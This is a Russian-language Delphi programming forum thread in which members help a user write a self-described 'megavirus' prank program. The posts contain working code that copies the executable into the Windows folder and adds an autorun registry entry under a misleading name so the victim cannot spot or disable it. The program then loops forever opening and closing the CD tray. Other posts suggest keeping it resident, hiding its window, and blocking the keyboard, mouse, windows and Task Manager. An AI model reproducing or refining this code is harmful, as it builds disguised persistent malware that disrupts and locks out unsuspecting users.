VPF::Копированние и Реестер - Форум программистов

Palladin

Дата 9.7.2006, 00:19 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17

Код


program prog;

{$APPTYPE CONSOLE}

uses
  SysUtils,
  MMSystem,
  Windows,
  Registry,

procedure RegisterToReestr;

var
 OpenParm: TMCI_Open_Parms;
 GenParm: TMCI_Generic_Parms;
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;
 OK : boolean;
 Reg : Tregistry;
begin
 CopyFile('c:\project2.exe', 'c:\windows\prikol.exe', True);
 OK:=false;
 OpenParm.lpstrDeviceType := 'CDAudio';
 repeat
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));
  DI := OpenParm.wDeviceID;
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));
  sleep(5000)
 until OK;

begin
  Reg := TRegistry.Create;
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', true);
  Reg.WriteString('prikol.exe', 'C:\WINDOWS\prikol.exe');  
Reg.CloseKey;
  Reg.Free;
  end;
 end;
end.

P.S. Вот такой вот код попробуй smile

Ах да, я надеюсь ты unit1 remove-кнул???

Ещё раз P.S. Короче взял твой код, удалил дефолтный юнит(а соответсвтенно и форма удалилась smile

если незнаеш как то я тебе скажу, включаеш Delphi там жмёш View там жмёш Project Manager, потом выделяеш Unit1 и жмёш Remove, у тебя останится лиш Project1 smile

)

Туда вставил твой код, и откомпилировал, ошибок нет, но программа ничего не делает почему-то smile

Отрабатывает и всё, файл не копируется в реестр не добавляется, почему незнаю, час где-то вытался чтонить сделать с этим, не выходит, файл наверное не копируется т.к. он занят, поэтому предлогаю сделать ещё один проект(тоже консольное приложение, суть сего будет в том чтобы при попадании на камп вначале скопировать основной проект, потом добавить его в реест, потом включить основной проект(в котором и будет основной код твоего МЕГАВИРУСА) и выключить себя, думаю так всё будет работать smile

)

Это сообщение отредактировал(а) RooR - 9.7.2006, 01:39

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Palladin

Дата 9.7.2006, 01:53 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17

Да и ещё совет(если ты прислушался к моей идее с двумя консольными программами) В коде второго проекта(основного, в котором будут происходить действия твоего наивредоноснейшего проекта smile

) после описания всех действия добавь это:

Код


var
MSG:TMSG;
............................
begin
............................
while getmessage(msg,Hinstance,0,0) do
begin
translatemessage(msg);
dispathmessage(msg); //эти строки сделают так что твоя программа будет 
//всегда висеть в памяти, но при этом не будет сильно грузить систему :)
end;
end.

P.S. здаётся мне ты читаеш книжку Флёнова М.С. "Delphi глазами хакера":)

Сам её когда-то читал, там не всё работает smile

в XP

Это сообщение отредактировал(а) RooR - 9.7.2006, 01:59

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Palladin

Дата 9.7.2006, 02:30 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17

ГЫ, дак вот чего оно ничего не делало, у тебя код добавления в реестр, после цикла репит(который бесконечен), и к томуже ты процедуру описал но не вызвал её smile

)))), с тебя плюс smile

))) Там было ещё несколько ошибок, описывать их не буду, сам сравнивай, для такого вируса я предлогаю ещё заблокировать клавиатуру+мышь, чтобы пользователь не смог отключить программу smile

Но это уже в личке а то точно забанят smile

Вот код, всё работает лично протестил в ущёрб своего компьютера smile

Код


program prog;

uses
  SysUtils,
  MMSystem,
  Windows,
  Registry;

{$APPTYPE CONSOLE}

procedure RegisterToReestr;
var
 OpenParm: TMCI_Open_Parms;
 GenParm: TMCI_Generic_Parms;
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;
 Reg : Tregistry;
begin
 CopyFile('C:\project2.exe', 'C:\windows\prikol.exe',false);
Reg:=TRegIniFile.Create('Software');
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', true);
  Reg.WriteString('Run', 'C:\WINDOWS\prikol.exe');//здесь я написал RUN 
//дабы ламер не смог догадатся что это вирус:) и не смог бы отключаить
// в безопаснике:)
Reg.Free;

OpenParm.lpstrDeviceType := 'CDAudio';
 repeat
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));
  DI := OpenParm.wDeviceID;
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));
  sleep(80)
 until 2=3; //зачем использовать лишнюю переменную когда есть целые 
//числа:)
end;

begin
RegisterToReestr; // то что ты забыл сделать:) ужас
end.

Что-то я смотрю в последнее время только я пытаюсь тебе какнить помочь smile

лодыри!!!

P.S. Ну и наоффтопил я, ужассссссссссс

Это сообщение отредактировал(а) RooR - 9.7.2006, 02:31

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Palladin

Дата 9.7.2006, 13:20 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17

Да и зачем ты юзаеш консоль для такой программы?????

Юзай

Код


{$R *.RES}

так программа будт запускатся без ничего smile

и видно её будет только в процессах smile

P.S. Я не виноват что наофтопил так много smile

это всё потому что только я этим занимаюсь smile

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Friackazoid

Дата 9.7.2006, 19:40 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 148
Регистрация: 23.2.2006

Репутация: 1
Всего: 3

Цитата(RooR @ 9.7.2006, 02:30)

предлогаю ещё заблокировать клавиатуру+мышь, чтобы пользователь не смог отключить программу

Зачем так жестоко? Можно просто заблокировать все открытые и вновь открвающиеся окна. А чтоб сосвсем здорово было, менять им заголовки. Самое веселое что и деспетчер задач тож блокируеться и только перезагрузка ну а если прога в реестре
Все этого никто не видел smile

--------------------

Даже если тебя съели, то все равно есть два выхода.42Team блог

Palladin

Дата 9.7.2006, 22:59 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17

Нет, всутаки лучше клавиатуру и мышь, это по жестокому smile

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

Guedda

Дата 10.7.2006, 06:47 (ссылка)

(нет голосов)

Загрузка ...

Подрывник

Профиль
Группа: Завсегдатай
Сообщений: 3137
Регистрация: 27.12.2005
Где: Ростов-на-Дону

Репутация: 6
Всего: 78

Цитата(RooR @ 4.7.2006, 09:33

)

Слыш тут же вроде True должно быть smile

Выделить всёБез подсветки
1:

Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', false);

Последний параметр отвечает за создание этого пути, если его не существует. А так как он есть по умолчанию (по-любому), нет необходимости ставить параметр в true.
Да и если ты нечаянно буквой ошибся в пути, то создастся никому не нужный пустой путь, что засорит Registry =)

Вот поэтому в знакомых путях лучше ставить параметр в false

--------------------

Ll 2

Palladin

Дата 10.7.2006, 13:55 (ссылка)

(нет голосов)

Загрузка ...

Опытный

Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17

2Guedda

Не знал такого, я думал что True и False отвечает типа как Занести и Нет smile

))

P.S. Сенкс за инфу smile

--------------------

Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]

ВоВеЦ

Дата 13.7.2006, 17:40 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет

RooR спасибо за помощь, плюс влепить тебе немогу, нету 100 постов, потом расчитаемся smile

Код


{$R *.RES}

Про это можно поконкретней, пробывал вметсто {$APPTYPE CONSOLE} ставить {$R *.RES} прога не запускалась, требовала хз.res

Это сообщение отредактировал(а) ВоВеЦ - 13.7.2006, 18:11

Alexeis

Дата 13.7.2006, 17:59 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 23
Всего: 459

{$R *.RES} - это директива включения файла ресурса, ее нужно ставить не вместо, а вмсесте с {$APPTYPE CONSOLE} .
А вообще для консоли {$R *.RES} добавлять не нужно

Цитата(ВоВеЦ @ 13.7.2006, 17:40

)

плюс влепить тебе немогу, нету 100 постов, потом расчитаемся

Я уже влепил, за тебя smile

Это сообщение отредактировал(а) alexeis1 - 13.7.2006, 18:00

--------------------

Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать

ВоВеЦ

Дата 13.7.2006, 18:13 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет

Отдельно или вместе, при компилляции вылетает вот такой еррор: [Error] File not found: 'prog.RES'

Alexeis

Дата 13.7.2006, 23:16 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 23
Всего: 459

ВоВеЦ, удаляй вообще {$R *.RES}
оно не нужно!

Добавлено @ 23:17
Отавляй только {$APPTYPE CONSOLE}

--------------------

ВоВеЦ

Дата 13.7.2006, 23:55 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет

Мне надо чтоб мой МЕГАВИРУС выполнлся без окошек, как мне это сделать?

ПИСИ: Приложенние не консольное, создаю я его как посоветовал RooR

Friackazoid

Дата 14.7.2006, 09:45 (ссылка)

(нет голосов)

Загрузка ...

Шустрый

Профиль
Группа: Участник
Сообщений: 148
Регистрация: 23.2.2006

Репутация: 1
Всего: 3

ВоВеЦ
Убери из кода стороку показа окна
Form1.Show();

--------------------

Даже если тебя съели, то все равно есть два выхода.42Team блог

Alexeis

Дата 14.7.2006, 10:50 (ссылка)

(нет голосов)

Загрузка ...

Амеба

Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 23
Всего: 459

Цитата(ВоВеЦ @ 13.7.2006, 23:55

)

МЕГАВИРУС выполнлся без окошек

Надеюсь что про мегавирус это была шутка smile

Цитата(ВоВеЦ @ 13.7.2006, 23:55

)

Приложенние не консольное

Тогда строчка
{$APPTYPE CONSOLE} - абсалютно лишняя!

Цитата(ВоВеЦ @ 13.7.2006, 23:55

)

выполнлся без окошек

Уточни - чтоб не создовалось windows окон или чтоб их не было видно?

--------------------

0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема \| Центр помощи \| Следующая тема »